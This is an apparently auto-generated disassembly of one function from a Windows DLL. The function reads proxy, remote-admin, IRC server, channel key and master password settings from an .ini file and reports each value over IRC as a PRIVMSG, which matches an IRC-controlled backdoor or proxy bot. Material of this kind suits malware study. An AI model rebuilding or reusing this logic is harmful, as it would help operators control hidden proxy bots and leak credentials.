Function at 0x18001e490
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x2050
call fcn.180065650
sub rsp, rax
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x2040], rax
mov rsi, rcx
mov rdi, rdx
lea rcx, [rsp + 0x1041]
xor ebp, ebp
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x1040], bpl
call fcn.180052810
xor eax, eax
lea r8d, [rbp + 0x3f]
lea rcx, [rsp + 0x271]
xor edx, edx
mov byte [rsp + 0x58], bpl
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov byte [rsp + 0x48], bpl
mov dword [rsp + 0x49], eax
mov word [rsp + 0x4d], ax
mov byte [rsp + 0x4f], al
mov byte [rsp + 0x90], bpl
mov dword [rsp + 0x91], eax
mov word [rsp + 0x95], ax
mov byte [rsp + 0x97], al
mov byte [rsp + 0x98], bpl
mov dword [rsp + 0x99], eax
mov word [rsp + 0x9d], ax
mov byte [rsp + 0x9f], al
mov byte [rsp + 0x80], bpl
mov dword [rsp + 0x81], eax
mov word [rsp + 0x85], ax
mov byte [rsp + 0x87], al
mov byte [rsp + 0x270], bpl
call fcn.180052810
mov r12d, 0xbff
lea rcx, [rsp + 0x331]
mov r8, r12
xor edx, edx
mov byte [rsp + 0x330], bpl
call fcn.180052810
lea r15, str.GlobalSettings
lea rbx, [0x18009b470]
lea r9, [rsp + 0x1040]
lea rdx, str.ListenPort
mov rcx, r15
xor r8d, r8d
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001e61f
lea rcx, [rsp + 0x1040]
call fcn.1800529c0
lea rcx, [rsp + 0x1040]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0x1040]
lea r8, str.PRIVMSG__s_:1.ListenPort___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001e639
lea r8, str.PRIVMSG__s_:1.ListenPort__Not_Found_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
jne 0x18001e654
xor eax, eax
jmp 0x18001ff1a
mov r13d, 0x64
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r14d, [r13 - 0x5c]
lea r9, [rsp + 0x80]
lea rdx, str.RedirectPort
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001e6d6
lea rcx, [rsp + 0x80]
call fcn.1800529c0
lea rcx, [rsp + 0x80]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0x80]
lea r8, str.PRIVMSG__s_:2.RedirectPort___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001e6f0
lea r8, str.PRIVMSG__s_:2.RedirectPort__Not_Found_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, str.PRIVMSG__s_:3.MaxConnnections__Unlimited_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea r9, [rsp + 0x58]
lea rdx, str.MaxConnections
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001e7a8
lea rcx, [rsp + 0x58]
call fcn.1800529c0
lea rcx, [rsp + 0x58]
mov rdx, rax
call fcn.18000b550
lea rcx, [rsp + 0x58]
call fcn.18000496c
cmp eax, ebp
je 0x18001e7a8
lea rcx, [rsp + 0x58]
call fcn.180054324
cmp eax, ebp
jle 0x18001e7a8
lea rax, [rsp + 0x58]
lea r8, str.PRIVMSG__s_:3.MaxConnnections___s_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov qword [rsp + 0x20], rax
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, str.PRIVMSG__s_:4.BandWidth__Unlimited_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea r9, [rsp + 0x48]
lea rdx, str.BandWidth
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001e860
lea rcx, [rsp + 0x48]
call fcn.1800529c0
lea rcx, [rsp + 0x48]
mov rdx, rax
call fcn.18000b550
lea rcx, [rsp + 0x48]
call fcn.18000496c
cmp eax, ebp
je 0x18001e860
lea rcx, [rsp + 0x48]
call fcn.180054324
cmp eax, ebp
jle 0x18001e860
lea rax, [rsp + 0x48]
lea r8, str.PRIVMSG__s_:4.BandWidth___s_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov qword [rsp + 0x20], rax
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x90]
lea rdx, str.RemoteAdminEnable
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001e8ff
lea rcx, [rsp + 0x90]
call fcn.1800529c0
lea rcx, [rsp + 0x90]
mov rdx, rax
call fcn.18000b550
lea rdx, [0x1800691f4]
lea rcx, [rsp + 0x90]
call fcn.180053060
mov r9, rdi
mov rdx, r12
lea rcx, [rsp + 0x330]
cmp eax, ebp
jne 0x18001e8f6
lea r8, str.PRIVMSG__s_:5.RemoteAdminEnable__Yes_r_n
jmp 0x18001e914
lea r8, str.PRIVMSG__s_:5.RemoteAdminEnable__No_r_n
jmp 0x18001e914
mov r9, rdi
lea r8, str.PRIVMSG__s_:5.RemoteAdminEnable__Not_Found_r_n
mov rdx, r12
lea rcx, [rsp + 0x330]
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x98]
lea rdx, str.RemoteAdminPort
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001e9a9
lea rcx, [rsp + 0x98]
call fcn.1800529c0
lea rcx, [rsp + 0x98]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0x98]
lea r8, str.PRIVMSG__s_:6.RemoteAdminPort___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001e9c3
lea r8, str.PRIVMSG__s_:6.RemoteAdminPort__Not_Found_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x270]
lea rdx, str.RemoteAdminPass
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001ea56
lea rcx, [rsp + 0x270]
call fcn.1800529c0
lea rcx, [rsp + 0x270]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0x270]
lea r8, str.PRIVMSG__s_:7.RemoteAdminPass___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001ea70
lea r8, str.PRIVMSG__s_:7.RemoteAdminPass__Not_Found_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea rcx, [rsp + 0x30]
mov r8, r14
xor edx, edx
mov byte [rsp + 0x30], bpl
mov dword [rsp + 0x31], eax
mov word [rsp + 0x35], ax
mov byte [rsp + 0x37], al
call fcn.180052810
lea r8, str.PRIVMSG__s_:8.Anti_Hamming__32_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea r9, [rsp + 0x30]
lea rdx, str.AntiHamming
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001eb70
lea rcx, [rsp + 0x30]
call fcn.1800529c0
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.18000b550
lea rcx, [rsp + 0x30]
call fcn.18000496c
cmp eax, ebp
je 0x18001eb56
lea rcx, [rsp + 0x30]
call fcn.180054324
mov r9, rdi
mov rdx, r12
cmp eax, ebp
lea rcx, [rsp + 0x330]
jle 0x18001eb4d
lea rax, [rsp + 0x30]
lea r8, str.PRIVMSG__s_:8.Anti_Hamming___s_r_n
mov qword [rsp + 0x20], rax
call fcn.1800528fc
jmp 0x18001eb70
lea r8, str.PRIVMSG__s_:8.Anti_Hamming__Free_r_n
jmp 0x18001eb6b
mov r9, rdi
lea r8, str.PRIVMSG__s_:8.Anti_Hamming__Un_Defined_r_n
mov rdx, r12
lea rcx, [rsp + 0x330]
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r14d, 0xc00
lea rcx, [rsp + 0x330]
mov r8, r14
xor edx, edx
call fcn.180052810
lea rcx, [rsp + 0x1841]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x1840], bpl
call fcn.180052810
lea r8, str.PRIVMSG__s_:9.Binded_IP__All_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea r9, [rsp + 0x1840]
lea rdx, str.BindedIP
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x800
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001ec50
lea rcx, [rsp + 0x1840]
call fcn.1800529c0
lea rcx, [rsp + 0x1840]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0x1840]
lea r8, str.PRIVMSG__s_:9.Binded_IP___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
mov r8, r14
xor edx, edx
call fcn.180052810
lea rcx, [rsp + 0xf31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xf30], bpl
call fcn.180052810
lea r9, [rsp + 0xf30]
lea rdx, str.IRCServer
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001ecff
lea rcx, [rsp + 0xf30]
call fcn.1800529c0
lea rcx, [rsp + 0xf30]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0xf30]
lea r8, str.PRIVMSG__s_:10.IRC_Server___s_r_n
mov qword [rsp + 0x20], rdx
jmp 0x18001ed13
lea rax, [rsp + 0xf30]
lea r8, str.PRIVMSG__s_:10.IRC_Server__Not_Found_r_n
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
mov r8, r14
xor edx, edx
call fcn.180052810
xor eax, eax
lea r9, [rsp + 0x88]
lea rdx, str.IRCServerPort
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov byte [rsp + 0x88], bpl
mov dword [rsp + 0x89], eax
mov word [rsp + 0x8d], ax
mov byte [rsp + 0x8f], al
mov dword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001edeb
lea rcx, [rsp + 0x88]
call fcn.1800529c0
lea rcx, [rsp + 0x88]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0x88]
lea r8, str.PRIVMSG__s_:11.IRC_Server_Port___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001ee05
lea r8, str.PRIVMSG__s_:11.IRC_Server_Port__Not_Found_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
mov r8, r14
xor edx, edx
call fcn.180052810
xor edx, edx
lea rcx, [rsp + 0x2b1]
lea r8d, [rdx + 0x7f]
mov byte [rsp + 0x2b0], bpl
call fcn.180052810
lea r9, [rsp + 0x2b0]
lea rdx, str.DefaultChannel
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001eec5
lea rcx, [rsp + 0x2b0]
call fcn.1800529c0
lea rcx, [rsp + 0x2b0]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0x2b0]
lea r8, str.PRIVMSG__s_:12.Default_Channel___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001eedf
lea r8, str.PRIVMSG__s_:12.Default_Channel__Not_Found_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
mov r8, r14
xor edx, edx
call fcn.180052810
xor eax, eax
lea r9, [rsp + 0xb8]
lea rdx, str.ChannelKey
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov byte [rsp + 0xb8], bpl
mov qword [rsp + 0xb9], rax
mov qword [rsp + 0xc1], rax
mov qword [rsp + 0xc9], rax
mov dword [rsp + 0xd1], eax
mov word [rsp + 0xd5], ax
mov byte [rsp + 0xd7], al
mov dword [rsp + SQLSetConnectAttr], 0x20
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001efbc
lea rcx, [rsp + 0xb8]
call fcn.1800529c0
lea rcx, [rsp + 0xb8]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0xb8]
lea r8, str.PRIVMSG__s_:13.Channel_Key___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001efd6
lea r8, str.PRIVMSG__s_:13.Channel_Key__No_Channel_Key_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
mov r8, r14
xor edx, edx
call fcn.180052810
xor edx, edx
lea rcx, [rsp + 0x1f1]
lea r8d, [rdx + 0x3f]
mov byte [rsp + 0x1f0], bpl
call fcn.180052810
lea r9, [rsp + 0x1f0]
lea rdx, str.DefaultUserName
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001f096
lea rcx, [rsp + 0x1f0]
call fcn.1800529c0
lea rcx, [rsp + 0x1f0]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0x1f0]
lea r8, str.PRIVMSG__s_:14.Default_Nick_Name___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001f0b0
lea r8, str.PRIVMSG__s_:14.Default_Nick_Name__Auto_Detect_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
mov r8, r14
xor edx, edx
call fcn.180052810
xor edx, edx
lea rcx, [rsp + 0x231]
lea r8d, [rdx + 0x3f]
mov byte [rsp + 0x230], bpl
call fcn.180052810
lea r9, [rsp + 0x230]
lea rdx, str.MasterPassword
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001f170
lea rcx, [rsp + 0x230]
call fcn.1800529c0
lea rcx, [rsp + 0x230]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0x230]
lea r8, str.PRIVMSG__s_:15.Master_Password___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001f18a
lea r8, str.PRIVMSG__s_:15.Master_Password__Not_Found_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
mov r8, r14
xor edx, edx
call fcn.180052810
xor eax, eax
lea r9, [rsp + 0x68]
lea rdx, str.IsIRCEnable
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov byte [rsp + 0x68], bpl
mov dword [rsp + 0x69], eax
mov word [rsp + 0x6d], ax
mov byte [rsp + 0x6f], al
mov dword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:16.IRC_BOT_Enable__No_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov ebx, eax
call fcn.1800528fc
lea r14, [0x180069650]
cmp ebx, ebp
jbe 0x18001f27e
lea rcx, [rsp + 0x68]
call fcn.1800529c0
lea rcx, [rsp + 0x68]
mov rdx, rax
call fcn.18000b550
lea rdx, [0x1800691f4]
lea rcx, [rsp + 0x68]
call fcn.180053060
cmp eax, ebp
je 0x18001f25a
lea rcx, [rsp + 0x68]
mov rdx, r14
call fcn.180053060
cmp eax, ebp
jne 0x18001f27e
lea rax, [rsp + 0x68]
lea r8, str.PRIVMSG__s_:16.IRC_BOT_Enable___s_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov qword [rsp + 0x20], rax
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
xor edx, edx
mov r8d, 0xc00
call fcn.180052810
xor eax, eax
lea r9, [rsp + 0x38]
mov dword [rsp + 0x39], eax
mov word [rsp + 0x3d], ax
mov byte [rsp + 0x3f], al
lea rax, [0x18009b470]
lea rdx, str.IsHideEnable
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rcx, r15
mov byte [rsp + 0x38], bpl
mov dword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:17.Hide_Enable__No_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov ebx, eax
call fcn.1800528fc
cmp ebx, ebp
jbe 0x18001f375
lea rcx, [rsp + 0x38]
call fcn.1800529c0
lea rcx, [rsp + 0x38]
mov rdx, rax
call fcn.18000b550
lea rdx, [0x1800691f4]
lea rcx, [rsp + 0x38]
call fcn.180053060
cmp eax, ebp
je 0x18001f351
lea rcx, [rsp + 0x38]
mov rdx, r14
call fcn.180053060
cmp eax, ebp
jne 0x18001f375
lea rax, [rsp + 0x38]
lea r8, str.PRIVMSG__s_:17.Hide_Enable___s_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov qword [rsp + 0x20], rax
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
xor edx, edx
mov r8d, 0xc00
call fcn.180052810
xor eax, eax
lea r9, [rsp + 0x40]
mov dword [rsp + 0x41], eax
mov word [rsp + 0x45], ax
mov byte [rsp + 0x47], al
lea rax, [0x18009b470]
lea rdx, str.IsAutoProxy
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rcx, r15
mov byte [rsp + 0x40], bpl
mov dword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:18.Is_Auto_Proxy__No_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov ebx, eax
call fcn.1800528fc
cmp ebx, ebp
jbe 0x18001f46c
lea rcx, [rsp + 0x40]
call fcn.1800529c0
lea rcx, [rsp + 0x40]
mov rdx, rax
call fcn.18000b550
lea rdx, [0x1800691f4]
lea rcx, [rsp + 0x40]
call fcn.180053060
cmp eax, ebp
je 0x18001f448
lea rcx, [rsp + 0x40]
mov rdx, r14
call fcn.180053060
cmp eax, ebp
jne 0x18001f46c
lea rax, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:18.Is_Auto_Proxy___s_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov qword [rsp + 0x20], rax
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
xor edx, edx
mov r8d, 0xc00
call fcn.180052810
xor eax, eax
lea r9, [rsp + 0x50]
mov dword [rsp + 0x51], eax
mov word [rsp + 0x55], ax
mov byte [rsp + 0x57], al
lea rax, [0x18009b470]
lea rdx, str.IsLogEnable
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rcx, r15
mov byte [rsp + 0x50], bpl
mov dword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:19.Is_Log_Enable__No_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov ebx, eax
call fcn.1800528fc
cmp ebx, ebp
jbe 0x18001f563
lea rcx, [rsp + 0x50]
call fcn.1800529c0
lea rcx, [rsp + 0x50]
mov rdx, rax
call fcn.18000b550
lea rdx, [0x1800691f4]
lea rcx, [rsp + 0x50]
call fcn.180053060
cmp eax, ebp
je 0x18001f53f
lea rcx, [rsp + 0x50]
mov rdx, r14
call fcn.180053060
cmp eax, ebp
jne 0x18001f563
lea rax, [rsp + 0x50]
lea r8, str.PRIVMSG__s_:19.Is_Log_Enable___s_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov qword [rsp + 0x20], rax
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
xor edx, edx
mov r8d, 0xc00
call fcn.180052810
xor eax, eax
lea r9, [rsp + 0x60]
mov dword [rsp + 0x61], eax
mov word [rsp + 0x65], ax
mov byte [rsp + 0x67], al
lea rax, [0x18009b470]
lea rdx, str.IsDNSEnable
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rcx, r15
mov byte [rsp + 0x60], bpl
mov dword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:20.Is_DNS_Enable__Yes_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov ebx, eax
call fcn.1800528fc
cmp ebx, ebp
jbe 0x18001f65a
lea rcx, [rsp + 0x60]
call fcn.1800529c0
lea rcx, [rsp + 0x60]
mov rdx, rax
call fcn.18000b550
lea rdx, [0x1800691f4]
lea rcx, [rsp + 0x60]
call fcn.180053060
cmp eax, ebp
je 0x18001f636
lea rcx, [rsp + 0x60]
mov rdx, r14
call fcn.180053060
cmp eax, ebp
jne 0x18001f65a
lea rax, [rsp + 0x60]
lea r8, str.PRIVMSG__s_:20.Is_DNS_Enable___s_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
mov qword [rsp + 0x20], rax
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0xc00
lea rcx, [rsp + 0x330]
mov r8, rbx
xor edx, edx
call fcn.180052810
xor eax, eax
lea r14, [0x18009b470]
lea r9, [rsp + 0x78]
lea rdx, str.MaxLoginPerIP
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov byte [rsp + 0x78], bpl
mov dword [rsp + 0x20], 8
mov dword [rsp + 0x79], eax
mov word [rsp + 0x7d], ax
mov byte [rsp + 0x7f], al
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001f713
lea rcx, [rsp + 0x78]
call fcn.1800529c0
lea rcx, [rsp + 0x78]
mov rdx, rax
call fcn.18000b550
lea rdx, [rsp + 0x78]
lea r8, str.PRIVMSG__s_:21.Max_Login_Per_IP___s_r_n
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
jmp 0x18001f72d
lea r8, str.PRIVMSG__s_:21.Max_Login_Per_IP__Unlimited_r_n
lea rcx, [rsp + 0x330]
mov r9, rdi
mov rdx, r12
call fcn.1800528fc
lea rdx, [rsp + 0x330]
mov rcx, rsi
call fcn.180012d7c
cmp eax, ebp
je 0x18001e64d
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x330]
mov r8, rbx
xor edx, edx
call fcn.180052810
xor eax, eax
lea r9, [rsp + 0x70]
lea rdx, str.IsEncryptionEnable
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov byte [rsp + 0x70], bpl
mov dword [rsp + 0x71], eax
mov word [rsp + 0x75], ax
mov byte [rsp + 0x77], al
mov dword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebp
jbe 0x18001f7e0
lea rcx, [rsp + 0x70]
call fcn.1800529c0
lea rcx, [rsp + 0x70]
mov rdx, rax
call fcn.18000b550
lea rdx, [0x1800691f4]
lea rcx, [rsp + 0x70]
call fcn.180053060
mov r9, rdi
mov rdx, r12
lea rcx, [rsp + 0x330]
cmp eax, ebp
jne 0x18001f7ee
lea r8, str.PRIVMSG__s_:22.Data_Encryption_Enable__Yes_r_n
jmp 0x18001f7f5
mov r9, rdi
mov rdx, r12
lea rcx, [rsp + 0x330]
lea r8, str.PRIVMSG__s_:22.Data_Encryption_Enable__No_r_n
call fcn.1800528fc
